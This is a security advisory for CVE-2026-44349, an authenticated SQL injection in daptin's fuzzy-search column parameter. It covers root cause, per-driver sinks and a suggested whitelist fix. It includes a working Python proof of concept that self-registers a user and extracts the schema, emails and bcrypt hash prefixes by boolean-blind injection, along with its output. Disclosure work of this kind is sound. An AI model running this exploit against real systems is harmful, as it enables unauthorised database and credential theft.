CVE-2026-44349

描述

## Summary `processFuzzySearch` in `server/resource/resource_findallpaginated.go:1484` splits the user-supplied `column` parameter by comma and interpolates each segment directly into `goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col))` raw SQL with no column whitelist check. The entry point is `GET /api/<entity>` with `operator=fuzzy` (or `fuzzy_any`, `fuzzy_all`). Any authenticated user — including one who self-registered with no admin involvement — can read the entire database. --- ## Details At `resource_findallpaginated.go:1761`, when the operator is `fuzzy`, `fuzzy_any`, or `fuzzy_all`, execution routes to `processFuzzySearch` (line 1763) before `processQueryFilter` (line 1780). `processQueryFilter` is the only path that calls `GetColumnByName` (line 1351), which validates column names against the table schema. The fuzzy branch never reaches that check. Inside `processFuzzySearch` (line 1484), `filterQuery.ColumnName` is split by comma. After `strings.TrimSpace` (line 1486), each segment is routed to a DB-driver-specific function. The injectable sink reached depends on the driver and the `fuzzy_options.fallback_mode` field. **SQLite** (`processFuzzySearchSQLite`, lines 1632–1676) uses `goqu.L` in all code paths — no `fallback_mode` required: - `goqu.L(fmt.Sprintf("LOWER(%s) LIKE ?", prefix+col), ...)` — line 1650/1657 **PostgreSQL, MySQL, MSSQL** default to `goqu.Ex` (identifier-quoted, not injectable). The `goqu.L` sink is only reached when the attacker supplies a specific `fuzzy_options.fallback_mode` value in the HTTP `query` JSON: - PostgreSQL `word_boundary` mode (line 1540): `goqu.L(fmt.Sprintf("%s ~* ?", prefix+col), ...)` - MySQL `soundex` mode (line 1598): `goqu.L(fmt.Sprintf("SOUNDEX(%s) = SOUNDEX(?)", prefix+col), ...)` - MSSQL `soundex` mode (line 1694): `goqu.L(fmt.Sprintf("DIFFERENCE(%s, ?) >= 3", prefix+col), ...)` `fuzzy_options` is deserialized from the HTTP request at line 243 (`json.Unmarshal([]byte(query[0]), &queries)`) — it is fully attacker-controlled. `goqu.L` emits its first argument as a raw SQL literal. The column position uses `%s` string formatting, not a bound parameter. `prefix` is fixed at line 351 as `dbResource.model.GetName() + "."` — for `/api/world` this is `"world."`. Against SQLite, an attacker-supplied column value of `reference_id) OR 1=1 OR LOWER(world.reference_id` expands in the WHERE clause to `LOWER(world.reference_id) OR 1=1 OR LOWER(world.reference_id) LIKE ?`. Against PostgreSQL (where `reference_id` is stored as `bytea`), the `~*` regex operator requires a text-type column; the attack targets a `varchar` column instead (e.g., `table_name`) with an adapted injection template. **Relation to GHSA-rw2c-8rfq-gwfv**: That patch modified `resource_aggregate.go` to fix `/aggregate/:typename`. This vulnerability is in `resource_findallpaginated.go` on the `/api/<entity>` fuzzy path — different file, different endpoint, different operator. The existing patch does not cover this path. **Tested:** SQLite injection dynamically confirmed (boolean-blind extraction, email extracted). PostgreSQL `word_boundary` injection dynamically confirmed (baseline=0 rows, tautology=5 rows, email=`[email protected]` extracted via text column). MySQL and MSSQL confirmed by code review; MySQL binary panics on initialization in the test harness (unrelated daptin bug), dynamic verification not performed. **Fix**: Add a `GetColumnByName` whitelist check in `processFuzzySearch` (line 1484) before the comma-split, matching the pattern in `processQueryFilter:1351`. All four DB driver sinks require fixing. --- ## PoC **Environment:** ```bash git clone https://github.com/daptin/daptin cd daptin git checkout 5d3214244890989eceefa694bfc976ef11458721 go build -o daptin-server . ./daptin-server # listens on :6336, SQLite backend by default ``` **poc.py** (Python 3, no dependencies): ```python import json, urllib.request, urllib.parse BASE = "http://localhost:6336" def post(path, body): req = urllib.request.Request(BASE + path, json.dumps(body).encode(), {"Content-Type": "application/json"}) try: return json.loads(urllib.request.urlopen(req, timeout=10).read(50_000)) except urllib.request.HTTPError as e: return json.loads(e.read(50_000)) def token(): post("/action/user_account/signup", {"attributes": { "name": "poc", "email": "[email protected]", "password": "adminadmin", "passwordConfirm": "adminadmin"}}) body = post("/action/user_account/signin", {"attributes": { "email": "[email protected]", "password": "adminadmin"}}) return next(i["Attributes"]["value"] for i in body if i.get("ResponseType") == "client.store.set") def rows(col, jwt): q = urllib.parse.urlencode({"query": json.dumps( [{"column": col, "operator": "fuzzy", "value": "zzzzz"}])}) req = urllib.request.Request(f"{BASE}/api/world?{q}&page%5Bsize%5D=5", headers={"Authorization": "Bearer " + jwt}) d = json.loads(urllib.request.urlopen(req, timeout=10).read(50_000)) return len(d.get("data", [])) def oracle(expr, jwt): col = f"reference_id) OR ({expr}) OR LOWER(world.reference_id" return rows(col, jwt) > 0 def extract_int(sql, jwt, hi=200): lo = 0 while lo < hi: mid = (lo + hi + 1) // 2 if oracle(f"({sql}) >= {mid}", jwt): lo = mid else: hi = mid - 1 return lo def extract_str(sql, jwt, maxlen=80): n = extract_int(f"LENGTH(({sql}))", jwt, hi=maxlen) s = "" for _ in range(n): lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 pfx = s.replace("'", "''") expr = f"({sql}) >= '{pfx}'||char({mid+1})" if s else f"({sql}) >= char({mid+1})" if oracle(expr, jwt): lo = mid + 1 else: hi = mid s += chr(lo) return s jwt = token() print("baseline :", rows("reference_id", jwt), "rows") print("tautology:", rows("reference_id) OR 1=1 OR LOWER(world.reference_id", jwt), "rows") jwt = token() print("sqlite_master table count:", extract_int("SELECT count(*) FROM sqlite_master WHERE type='table'", jwt, hi=80)) print("email (row 1):", extract_str("SELECT email FROM user_account ORDER BY id LIMIT 1", jwt)) pw_hex = extract_str("SELECT HEX(password) FROM user_account WHERE email='[email protected]' LIMIT 1", jwt, maxlen=40) print("pw hash prefix:", bytes.fromhex(pw_hex).decode("ascii", errors="replace")) ``` **Output** (measured on commit `5d32142`, SQLite, macOS arm64): ``` baseline : 0 rows tautology: 5 rows sqlite_master table count: 57 email (row 1): [email protected] pw hash prefix: $2a$11$W7vO9oOPzpf7u ``` --- ## Impact **Attacker precondition**: One valid JWT. Self-signup is enabled by default on a fresh daptin instance — no admin involvement required. **What is impacted**: The full database is readable via boolean-blind extraction, including all tables visible in `sqlite_master` and credential data (emails, bcrypt password hashes) in `user_account`. Extraction rate is approximately 7 HTTP requests per character, making full-database extraction feasible.